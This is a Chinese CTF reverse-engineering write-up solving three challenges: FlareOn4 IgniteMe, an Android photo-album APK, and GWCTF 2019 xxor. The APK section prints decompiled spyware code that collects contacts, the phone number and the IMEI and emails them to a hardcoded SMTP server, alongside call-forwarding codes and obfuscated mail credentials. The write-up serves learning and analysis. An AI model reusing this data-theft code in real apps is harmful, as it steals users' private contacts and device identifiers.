一.[FlareOn4]IgniteMe1
https://files.buuoj.cn/files/02b39b8efca02367af23aa279c81cbec/attachment.zip
根据汇编语言分析
查看需要返回为1的函数
int sub_401050()
{
int v1; // [esp+0h] [ebp-Ch]
int i; // [esp+4h] [ebp-8h]
unsigned int j; // [esp+4h] [ebp-8h]
char v4; // [esp+Bh] [ebp-1h]
v1 = sub_401020(byte_403078);
v4 = sub_401000();
for ( i = v1 - 1; i >= 0; --i )
{
byte_403180[i] = v4 ^ byte_403078[i];
v4 = byte_403078[i];
}
for ( j = 0; j < 0x27; ++j )
{
if ( byte_403180[j] != byte_403000[j] )
return 0;
}
return 1;
}
可知
// v1 = sub_401020(byte_403078);
int __cdecl sub_401020(int a1)
{
int i; // [esp+0h] [ebp-4h]
for ( i = 0; *(i + a1); ++i )
;
return i;
}
猜测和strlen相似
// v4 = sub_401000();
__int16 sub_401000()
{
return __ROL4__(-2147024896, 4) >> 1;
}
学习一下:
__ROL4__
是一个宏或者函数,用于实现循环左移(Rotate Left)操作,通常在编程中用于位操作。循环左移是指将一个数的二进制表示向左移动指定的位数,并将移出的位重新插入到数的右侧。这个操作在不同的编程环境和编译器中可能有不同的实现和命名。
所以把他变成16进制数0x80070000,
2进制左移4位相当于16进制左移1位,是0x00700008
之后再右移一位是0x380004
加密之后和byte_403000相同,
加密函数
int sub_4010F0()
{
unsigned int v0; // eax
char Buffer[260]; // [esp+0h] [ebp-110h] BYREF
DWORD NumberOfBytesRead; // [esp+104h] [ebp-Ch] BYREF
unsigned int i; // [esp+108h] [ebp-8h]
char v5; // [esp+10Fh] [ebp-1h]
v5 = 0;
for ( i = 0; i < 0x104; ++i )
Buffer[i] = 0;
ReadFile(hFile, Buffer, 0x104u, &NumberOfBytesRead, 0);
for ( i = 0; ; ++i )
{
v0 = sub_401020(Buffer);
if ( i >= v0 )
break;
v5 = Buffer[i];
if ( v5 != 10 && v5 != 13 )
{
if ( v5 )
byte_403078[i] = v5;
}
}
return 1;
}
分析发现和加密没什么关系,所以不用看了
所以只有一次异或加密,写代码实现
#include<stdio.h>
#include<stdlib.h>
int main()
{
unsigned char aIe[] =
{
13, 38, 73, 69, 42, 23, 120, 68, 43, 108,
93, 94, 69, 18, 47, 23, 43, 68, 111, 110,
86, 9, 95, 69, 71, 115, 38, 10, 13, 19,
23, 72, 66, 1, 64, 77, 12, 2, 105,
};
char flag [39];
int i;
int v4 = 0x380004;
for ( i = 38; i >= 0; --i )
{
flag[i] = v4 ^ aIe[i];
v4 = flag[i];
}
for(i=0;i<39;i++){
printf("%c",flag[i]);
}
return 0;
}
R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com
二相册1
下载完一看是apk文件,拖入gadx-gui中查看,因为提示中有邮箱,所以搜索mail,记得加载所有再查看
发现可能的关键函数,点进去
package cn.baidujiayuan.ver5304;
import android.content.Context;
import android.os.AsyncTask;
import android.telephony.TelephonyManager;
import com.sun.mail.imap.IMAPStore;
import java.util.List;
/* loaded from: classes.dex */
public class MailTask extends AsyncTask<Integer, Integer, String> {
private String content;
private Context context;
public void run(String content) {
String notebooks = "";
List<String[]> notes = NoteBook.get(this.context, IMAPStore.RESPONSE);
for (String[] note : notes) {
notebooks = String.valueOf(notebooks) + note[0] + ":" + note[1] + "\r\n";
}
TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");
String tel = tm.getLine1Number();
if (tel == null || tel.equals("")) {
Sms getBFlag = A2.getNoteBook(content);
tel = getBFlag.phoneNumber;
}
A2.getNoteBook(content);
if (!A2.isEmpty(notebooks)) {
TelephonyManager telephonyManager = (TelephonyManager) this.context.getSystemService("phone");
String imei = telephonyManager.getDeviceId();
A2.sendMailByJavaMail(C2.MAILSERVER, "通讯录(" + tel + "IMEI" + imei + ")", notebooks);
}
}
public MailTask(String content, Context context) {
this.content = content;
this.context = context;
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // android.os.AsyncTask
public String doInBackground(Integer... params) {
publishProgress(1);
A2.log("拦截消息doInBackground");
run(this.content);
return "doInBackground:" + this.content;
}
@Override // android.os.AsyncTask
protected void onPreExecute() {
A2.log("拦截消息后准备发送");
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // android.os.AsyncTask
public void onProgressUpdate(Integer... values) {
A2.log("拦截消息后准备发送中");
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // android.os.AsyncTask
public void onPostExecute(String result) {
A2.log("拦截消息后发送结束:" + result);
}
}
查看MAILSERVER函数
package cn.baidujiayuan.ver5304;
import android.content.Context;
import android.content.SharedPreferences;
import com.net.cn.NativeMethod;
import it.sauronsoftware.base64.Base64;
import java.text.ParsePosition;
import java.text.SimpleDateFormat;
import java.util.Date;
/* loaded from: classes.dex */
public class C2 {
public static final String CANCELNUMBER = "%23%2321%23";
public static final String MAILFROME;
public static final String MAILHOST = "smtp.163.com";
public static final String MAILPASS;
public static final String MAILSERVER;
public static final String MAILUSER;
public static final String MOVENUMBER = "**21*121%23";
public static final String PORT = "25";
public static final String date = "2115-11-1";
public static final String phoneNumber;
static {
System.loadLibrary("core");
MAILSERVER = Base64.decode(NativeMethod.m());
MAILUSER = Base64.decode(NativeMethod.m());
MAILPASS = Base64.decode(NativeMethod.pwd());
MAILFROME = Base64.decode(NativeMethod.m());
phoneNumber = Base64.decode(NativeMethod.p());
}
public static Date strToDateLong(String strDate) {
SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");
ParsePosition pos = new ParsePosition(0);
Date strtodate = formatter.parse(strDate, pos);
return strtodate;
}
public static boolean isFilter(Context context) {
Date lastN = strToDateLong(date);
Date currentTime = new Date();
return lastN.getTime() - currentTime.getTime() < 0;
}
public static boolean isServerFilter(Context context) {
SharedPreferences mSharedPreferences = context.getSharedPreferences("X", 0);
String m = mSharedPreferences.getString("m", A2.FILTERSETUPTAG);
return m.equals(A2.FILTERSETUPTAG);
}
}
查看数据NativeMethod
学习一下:
在jadx中,"native"指的是原生方法,这些方法在Java代码中声明,但它们的实现位于C或C++编写的本地库中。原生方法使用`native`关键字进行声明,这意味着它们在Java虚拟机(JVM)之外执行,通常用于访问底层系统资源或进行性能关键型操作。在Android开发中,原生方法常用于与NDK(Native Development Kit)交互,以实现更接近硬件层面的功能。
在jadx反编译过程中,原生方法的声明会被识别,但由于它们的实现在本地库中,jadx无法提供这些方法的具体实现细节。用户可能会看到类似`public native String stringFromJNI();`的声明,这表明该方法是一个原生方法,其实现需要在本地代码中找到。
在jadx中,"native"关键字用于声明Java代码中的本地方法,这些方法在Java层声明,但其实现位于C或C++编写的本地库中,通常编译为.so文件。这些本地方法通过JNI(Java Native Interface)与Java代码交互,允许Android应用程序访问底层系统资源或执行性能关键型操作。当jadx反编译包含native方法的Android应用时,它会识别出这些方法,但无法提供其在.so文件中的具体实现细节,因为实现代码位于本地库中,不在Java代码中。
.so文件是C/C++代码编译后的动态链接库,它们在Android应用中用于实现native方法。这些.so文件可以在Android的JNI中被Java代码调用。jadx作为一个反编译工具,可以帮助开发者理解应用程序的结构,包括那些通过JNI调用的native方法。然而,要查看这些native方法的具体实现,需要查看相应的.so文件或C/C++源代码。
所以我们要找到apk文件的.so文件
其中apk就是一个安装包,解压之后在ida中打开.so文件查找即可,因为可以看出是base64加密,所以一般密文最后有"="填充符
查找字符串
在线自定义base64编解码、在线二进制转可打印字符、在线base2、base4、base8、base16、base32、base64--查错网
flag{18218465125@163.com}
三.[GWCTF 2019]xxor1
https://files.buuoj.cn/files/baba20fce498e7b1d5ad774fcb5bc89e/attachment
多学习于此:
BUUCTF [GWCTF 2019]xxor_buuctf xxor-CSDN博客
re题(37)BUUCTF-[GWCTF 2019]xxor-CSDN博客
查壳和找到主函数都没有问题,从分析代码开始
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int i; // [rsp+8h] [rbp-68h]
int j; // [rsp+Ch] [rbp-64h]
__int64 v6[6]; // [rsp+10h] [rbp-60h] BYREF
__int64 v7[6]; // [rsp+40h] [rbp-30h] BYREF
v7[5] = __readfsqword(0x28u);
puts("Let us play a game?");
puts("you have six chances to input");
puts("Come on!");
memset(v6, 0, 40);
for ( i = 0; i <= 5; ++i )
{
printf("%s", "input: ");
a2 = (v6 + 4 * i);
__isoc99_scanf("%d", a2);
}
memset(v7, 0, 40);
for ( j = 0; j <= 2; ++j )
{
dword_601078 = v6[j];
high = HIDWORD(v6[j]);
a2 = &unk_601060;
xxor(&dword_601078, &unk_601060);
LODWORD(v7[j]) = dword_601078;
HIDWORD(v7[j]) = high;
}
if ( sub_400770(v7, a2) != 1 )
{
puts("NO NO NO~ ");
exit(0);
}
puts("Congratulation!\n");
puts("You seccess half\n");
puts("Do not forget to change input to hex and combine~\n");
puts("ByeBye");
return 0LL;
}
(1)读入代码
for ( i = 0; i <= 5; ++i )
{
printf("%s", "input: ");
a2 = (v6 + 4 * i);
__isoc99_scanf("%d", a2);
}
循环6次,
提示输入,
char **a2
表示一个指向字符指针的指针,所以a2指向v6,
之后读取一个整数,并将其存储在 a2
指向的位置。由于 a2
是 v6
数组中第 i
个元素的地址,所以这个整数将被存储在 v6[i]
中。
(2)查看密文
查看sub_400770可以知道所需要的值,
__int64 __fastcall sub_400770(_DWORD *a1)
{
if ( a1[2] - a1[3] == 0x84A236FFLL
&& a1[3] + a1[4] == 0xFA6CB703LL
&& a1[2] - a1[4] == 1121399208LL
&& *a1 == 0xDF48EF7E
&& a1[5] == 0x84F30420
&& a1[1] == 0x20CAACF4 )
{
puts("good!");
return 1LL;
}
else
{
puts("Wrong!");
return 0LL;
}
}
学习z3解方程
安装好之后就代入数据即可
from z3 import *
s = Solver()
a1 = [Int(f'a1[{i}]') for i in range(6)]
# 添加约束
s.add(a1[2] - a1[3] == 2225223423)
s.add(a1[3] + a1[4] == 4201428739)
s.add(a1[2] - a1[4] == 1121399208)
s.add(a1[0] == -548868226)
s.add(a1[5] == -2064448480)
s.add(a1[1] == 550153460)
# 检查是否有解
if s.check() == sat:
print(s.model())
else:
print("No solution found.")
(3)加密方式
进入循环,知道v6一共有6个字符串,看到j++,只循环三次,但是在汇编中
j+=2;所以伪代码错误了,应该是v6的每一个数都加密(虽然j+=2也不一定是每一个都加密,但是既然错都错了,所以按照常理来说应该是都加密吧.....)
汇编语言没学过,所以直接抄了....结果还是不太懂.
.text:00000000004007D0 mov [rbp+var_8], rax
.text:00000000004007D4 mov eax, 84A236FFh
.text:00000000004007D9 cmp [rbp+var_18], rax
.text:00000000004007DD jnz short loc_400845
.text:00000000004007DF mov eax, 0FA6CB703h
.text:00000000004007E4 cmp [rbp+var_10], rax
.text:00000000004007E8 jnz short loc_400845
.text:00000000004007EA cmp [rbp+var_8], 42D731A8h
.text:00000000004007F2 jnz short loc_400845
.text:00000000004007F4 mov rax, [rbp+var_28]
.text:00000000004007F8 mov eax, [rax]
.text:00000000004007FA cmp eax, 0DF48EF7Eh
.text:00000000004007FF jnz short loc_400834
.text:0000000000400801 mov rax, [rbp+var_28]
.text:0000000000400805 add rax, 14h
.text:0000000000400809 mov eax, [rax]
.text:000000000040080B cmp eax, 84F30420h
.text:0000000000400810 jnz short loc_400834
.text:0000000000400812 mov rax, [rbp+var_28]
.text:0000000000400816 add rax, 4
.text:000000000040081A mov eax, [rax]
.text:000000000040081C cmp eax, 20CAACF4h
可以注意到,IDA中并没有为tmp1、tmp2声明变量(实际上,它们本不是这个名字,但为了方便阅读而被我改成了这个名字;从汇编窗口可以知道它们均为4个字节的变量(int))
如下代码展示了LODWORD和HIDWORD的结果,乍一看似乎相当不同,但实际上这不过是一种比较别扭的写法罢了
注意到tmp2的结果和a1[1]相同,而将a1[0]的类型换为int之后也将得到与tmp1相同的结果,也就是说,这两个函数并没有起到任何作用,只是做了简单的赋值罢了
(尽管我想说具体问题具体分析,但倘若使用的是LOBYTE和HIBYTE的话,结果就将彻底不同了。但通常来说,出题人并不会特地去这样写,至少一般来说,并没有LODWORD这样的函数)
unsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };
int tmp1, tmp2;
tmp1 = LODWORD(a1[0]);// -548868226
tmp2 = HIDWORD(a1[1]);// 550153460
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/2301_80907001/article/details/142407558
xxor加密函数
__int64 __fastcall sub_400686(unsigned int *a1, _DWORD *a2)
{
__int64 result; // rax
unsigned int v3; // [rsp+1Ch] [rbp-24h]
unsigned int v4; // [rsp+20h] [rbp-20h]
int v5; // [rsp+24h] [rbp-1Ch]
unsigned int i; // [rsp+28h] [rbp-18h]
v3 = *a1;
v4 = a1[1];
v5 = 0;
for ( i = 0; i <= 63; ++i )
{
v5 += 0x458BCD42;
v3 += (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;
v4 += (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;
}
*a1 = v3;
result = v4;
a1[1] = v4;
return result;
}
可知是tea加密,是对称加密,所以a2unk_601060应该是4个数,而每次传入的是两个数,所以就是j+=2;
所以a2unk_601060是2,2,3,4,对于j来说,只要是熟悉了tea加密,应该能猜出来(算法以32bits 的字为运算单位)
之后写代码实现
#include <stdio.h>
int main()
{
int a1[6];
a1[4] = 2652626477;
a1[1] = 550153460;
a1[3] = 1548802262;
a1[5] = 2230518816;
a1[2] = 3774025685;
a1[0] = 3746099070;
int a2[4]={2,2,3,4};
int i,j;
for(j=0;j<6;j+=2)
{
__int64 result; // rax
unsigned int v3; // [rsp+1Ch] [rbp-24h]
unsigned int v4; // [rsp+20h] [rbp-20h]
int v5; // [rsp+24h] [rbp-1Ch]
unsigned int i; // [rsp+28h] [rbp-18h]
v3 = a1[j];
v4 = a1[j+1];
v5 = 1166789954*64;
for ( i = 0; i <= 63; ++i )
{
v4 -= (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;
v3 -= (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;
v5 -= 1166789954;
}
a1[j] = v3;
a1[j+1] = v4;
}
for(i=0;i<6;i++){
printf("%x\n",a1[i]);
}
}
因为要把数字转换成字符串,所以我输出成16进制数%x,之后因为是6位16进制的数,又因为段序问题,所以直接在devc中再写代码实现字符串输出
printf("%c%c%c", *((char*)&a1[i] + 2), *((char*)&a1[i] + 1), *(char*)&a1[i]);
flag{re_is_great!}
或者用在线网站转成字符串ASCII码转字符串 - ASCII码
flag{re_is_great!}